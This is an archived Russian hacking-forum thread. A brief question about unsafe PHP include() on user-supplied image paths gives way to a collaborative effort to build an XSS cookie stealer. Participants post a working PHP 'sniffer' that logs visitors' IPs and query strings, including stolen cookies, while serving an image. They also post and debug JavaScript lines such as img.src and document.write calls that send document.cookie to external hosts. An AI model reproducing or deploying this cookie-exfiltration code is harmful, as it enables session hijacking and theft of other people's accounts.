Просмотр полной версии : Безопасное использование include
EST a1ien
14.05.2006, 18:47
Есть скрипт ему передаётся параметр img.
Например script.php?img=http://site.ru/img.gif
Дак вот я зделал такую проверку if (!strstr($image,'.gif')=='.gif') {$image='sm.gif';}
Дальше идёт Header("Content-type: image/gif");
include($image);
Тоесть файл обязательно должен быть .gif , но этого недостаточно так как в img.gif может быть PHP код и он выполнится ведь так??
Если да то как от этого защитится??
-------------------------------
И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.
Что за бред? Зачем инклюдить, кстати: Юзай http://us3.php.net/readfile =)
попробуй
<?
...
if (!strstr($image,'.gif')=='.gif') {$image='sm.gif';}
header("Content-Type: image/gif");
$ff = fopen($image,"rb");
fpassthru($ff);
fclose($ff);
?>
Да, и вот тебе пример сниффа....
<?
$query = $_SERVER['QUERY_STRING'];
$ip = $_SERVER['REMOTE_ADDR'];
if(!file_exists("log.txt")) fclose(fopen("log.txt","w"));
$out = fopen("log.txt","a");
fputs($out,"IP:".$ip."Query:".$query);
fclose($out);
header("Content-Type: image/jpg");
$img = fopen("image.jpg","rb");
fpassthru($img);
fclose($img);
?>
EST a1ien
14.05.2006, 20:13
На первый вопрос ответили всем спасибо.
Теперь бы хотелось услышать ответ на второй.
2. Фильтровать все вводимые значения.
Ага, с добрым утром всех.
getimagesize() (http://ru.php.net/manual/ru/function.getimagesize.php) еще никто не отменял. Да и как правильно заметил nerezus, readfile более оптимальное решение для поставленной задачи. Тестировал скорость работы readfile и include (хотя че тут тестить - ежу понятно что include тормознее в разы). Да и потом если ты делаешь header() с заголовком картинки, а потом readfile()...
Насчет твоего второго вопроса - все просто, скрипт подкинул LoFFi.
2 LoFFi
в данном примере проще юзать readfile, чем fopen.
EST a1ien
15.05.2006, 07:42
Всё с первым я уже разобрался, просто забыл про readfile совсем из головы вылетела, что можно читать, а не инклудить файлы.
А на второй вопрос я так и неполучил чёткого ответа.
А на второй вопрос я так и неполучил чёткого ответа.
ошибаешься
EST a1ien
15.05.2006, 08:24
И гдеже ответ на второй вопрос
И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например Код:
img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.
2 EST a1ien
А это и есть ответ на второй вопрос...
Да, и вот тебе пример сниффа....
<?
$query = $_SERVER['QUERY_STRING'];
$ip = $_SERVER['REMOTE_ADDR'];
if(!file_exists("log.txt")) fclose(fopen("log.txt","w"));
$out = fopen("log.txt","a");
fputs($out,"IP:".$ip."Query:".$query);
fclose($out);
header("Content-Type: image/jpg");
$img = fopen("image.jpg","rb");
fpassthru($img);
fclose($img);
?>
EST a1ien
15.05.2006, 09:27
Если открываеш таим javascriptom то какртина не отображается, а надо чтобы и картинка отображалясь и куки тырились.
А снифер тут непричём он картину то так выводет а через javascript нет.
Вот к примеру ссылка на html с этим скриптом http://est.jino-net.ru/1.html
Здесь даже наптсано
img = new Image(); img.src = "http://est.jino-net.ru/xss/sm.gif";
Даже так он картину неотображает.
sm.gif - обычная каринка.
2 EST a1ien
короче, ты споришь ни о чем. Да, мне лень описывать принцип работы подобного сниффера. но не потому что я ленивая скотина, а потому что это способ описан уже 300 раз и используется каждым вторым!
EST a1ien
15.05.2006, 10:48
Да блин мы общаемся на разных языках.
Я говорю про javascript а ты про php снифф.
А прошу сказать как при помощи js отправить запрос к снифу но при этом мне надо что бы отобразилась картинка.
Просто вот таким скриптом
img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Отправляются куки, но неотображается картинка.
А вот таким
document.write('<img src="http://est.jino-net.ru/xss/s.php"+document.cookie>');
Отображается картинка но неотправляются куки.
А мне надо чтобы и картинка отображалась и куки отправлялись.
Хотя я уже и без вас понял как это зделать просто запихнуть вот такой скрипт img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
document.write('<img src="http://site.ru/img.gif">');
лол. EST a1ien, прежде чем ругать людей, которые пытаются тебе помочь, разбирись со своей задачей и попробуй грамотно выложить ее в своем посте.
Егорыч+++
15.05.2006, 11:20
Да блин мы общаемся на разных языках.
Я говорю про javascript а ты про php снифф.
А прошу сказать как при помощи js отправить запрос к снифу но при этом мне надо что бы отобразилась картинка.
Просто вот таким скриптом
Отправляются куки, но неотображается картинка.
А вот таким
Отображается картинка но неотправляются куки.
А мне надо чтобы и картинка отображалась и куки отправлялись.
Хотя я уже и без вас понял как это зделать просто запихнуть вот такой скрипт
По document.write('<img src="http://est.jino-net.ru/xss/s.php"+document.cookie>');
куки не будут писаться, потому что и не должны так писаться. Просто ошибка в этой строчке (где не скажу).
EST a1ien
15.05.2006, 13:54
2Trinux я тебя неругал сори если чтото непонравилось как я говорил.
2Егорыч+++ document.write('<img src="http://est.jino-net.ru/xss/s.php?"+document.cookie>');
Правильно если нет то просьба подсказать.
EST a1ien
15.05.2006, 14:01
Короче чтобы небыло непоняток выражу свою мысль еще раз.
Допустим есть снифер http://site.ru/s.gif который отображает картинку.
Дак вот мне нужен javascript который пошлёт куки и отобразит картинку.
Егорыч+++
15.05.2006, 14:12
2Trinux я тебя неругал сори если чтото непонравилось как я говорил.
2Егорыч+++ document.write('<img src="http://est.jino-net.ru/xss/s.php?"+document.cookie>');
Правильно если нет то просьба подсказать.
document.write("<img src="http://est.jino-net.ru/xss/s.php? "+document.cookie+">");
P. S. Послать куки только вставляя одну картинку НЕЛЬЗЯ. Куки бирутся ява скриптом.
EST a1ien
15.05.2006, 14:26
Ага большое спасибо.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot